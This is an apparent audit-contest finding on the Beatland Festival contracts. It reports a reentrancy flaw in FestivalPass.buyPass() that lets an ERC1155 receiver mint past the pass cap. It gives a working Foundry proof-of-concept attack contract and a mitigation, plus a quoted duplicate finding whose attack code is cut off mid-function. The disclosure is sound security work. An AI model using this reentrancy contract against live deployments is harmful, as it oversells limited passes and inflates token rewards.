Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrant ERC1155 Receiver Can Bypass Festival Pass Max Supply

Reentrant ERC1155 Receiver Can Bypass Festival Pass Max Supply

Description

Users normally buy festival passes through FestivalPass.buyPass(). The organizer configures each pass type with a price and maximum supply, and each successful purchase should mint exactly one ERC1155 pass while incrementing passSupply so later purchases cannot exceed passMaxSupply.

The issue is that buyPass() performs the ERC1155 _mint() before incrementing passSupply. For contract buyers, ERC1155 minting invokes onERC1155Received, giving the buyer control while the supply counter still has its old value. A malicious receiver can reenter buyPass() during that callback and pass the same supply check again, minting more passes than the configured maximum supply allows.

FestivalPass.sol#L69-L83

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood: High

  • This occurs whenever a contract buyer implements onERC1155Received and reenters buyPass() before the original purchase increments passSupply.

  • The attack is permissionless and requires only enough ETH to pay for the original and reentrant purchases. No owner or organizer compromise is required.

Impact: Medium

  • The attacker can mint more limited festival passes than the organizer configured, breaking pass scarcity and blocking later legitimate buyers after the supply is oversold.

  • For VIP and BACKSTAGE passes, each reentrant purchase also mints an additional BEAT welcome bonus, inflating BEAT rewards beyond the configured pass cap.

Proof of Concept

Add the following test file:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test} from "forge-std/Test.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract FestivalPassI01PassSupplyReentrancyTest is Test {
uint256 internal constant VIP_PASS = 2;
uint256 internal constant VIP_PRICE = 0.1 ether;
uint256 internal constant VIP_WELCOME_BONUS = 5e18;
FestivalPass internal festivalPass;
BeatToken internal beatToken;
address internal organizer;
address internal buyer;
function setUp() public {
organizer = makeAddr("organizer");
buyer = makeAddr("buyer");
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, 1);
vm.deal(buyer, VIP_PRICE);
}
function test_I01_00_normalBuyerCannotBuyPastConfiguredPassSupply() public {
assertEq(festivalPass.passMaxSupply(VIP_PASS), 1, "setup max supply");
assertEq(festivalPass.passSupply(VIP_PASS), 0, "setup current supply");
vm.prank(buyer);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
assertEq(festivalPass.balanceOf(buyer, VIP_PASS), 1, "buyer pass balance");
assertEq(festivalPass.passSupply(VIP_PASS), 1, "supply after first buy");
assertEq(beatToken.balanceOf(buyer), VIP_WELCOME_BONUS, "welcome bonus after first buy");
address secondBuyer = makeAddr("secondBuyer");
vm.deal(secondBuyer, VIP_PRICE);
vm.prank(secondBuyer);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
assertEq(festivalPass.balanceOf(secondBuyer, VIP_PASS), 0, "second buyer pass balance");
assertEq(festivalPass.passSupply(VIP_PASS), 1, "supply remains capped");
}
function test_I01_01_reentrantReceiverBuysPastConfiguredPassSupply() public {
ReentrantPassBuyer attacker = new ReentrantPassBuyer(festivalPass);
assertEq(festivalPass.passMaxSupply(VIP_PASS), 1, "setup max supply");
assertEq(festivalPass.passSupply(VIP_PASS), 0, "setup current supply");
assertEq(festivalPass.balanceOf(address(attacker), VIP_PASS), 0, "setup attacker pass balance");
attacker.attack{value: 2 * VIP_PRICE}(VIP_PASS, VIP_PRICE, 1);
assertEq(festivalPass.passMaxSupply(VIP_PASS), 1, "max supply unchanged");
assertEq(festivalPass.passSupply(VIP_PASS), 2, "supply exceeds configured max");
assertEq(festivalPass.balanceOf(address(attacker), VIP_PASS), 2, "attacker received two passes");
assertEq(beatToken.balanceOf(address(attacker)), 2 * VIP_WELCOME_BONUS, "attacker received two bonuses");
assertEq(address(festivalPass).balance, 2 * VIP_PRICE, "festival received both payments");
address lateBuyer = makeAddr("lateBuyer");
vm.deal(lateBuyer, VIP_PRICE);
vm.prank(lateBuyer);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
}
}
contract ReentrantPassBuyer is IERC1155Receiver {
FestivalPass internal immutable festivalPass;
uint256 internal passId;
uint256 internal price;
uint256 internal remainingReentries;
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
}
function attack(uint256 _passId, uint256 _price, uint256 _remainingReentries) external payable {
passId = _passId;
price = _price;
remainingReentries = _remainingReentries;
festivalPass.buyPass{value: price}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
if (remainingReentries > 0) {
remainingReentries--;
festivalPass.buyPass{value: price}(passId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || interfaceId == type(IERC165).interfaceId;
}
}

Run:

forge test --match-test test_I01_01_reentrantReceiverBuysPastConfiguredPassSupply -vvv

The test passes and confirms that with passMaxSupply[VIP] == 1, the attacker ends with:

passSupply[VIP] == 2
balanceOf(attacker, VIP) == 2
beatToken.balanceOf(attacker) == 10e18

Recommended Mitigation

Apply checks-effects-interactions by incrementing passSupply before _mint(). If _mint() reverts, the earlier increment reverts as well.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!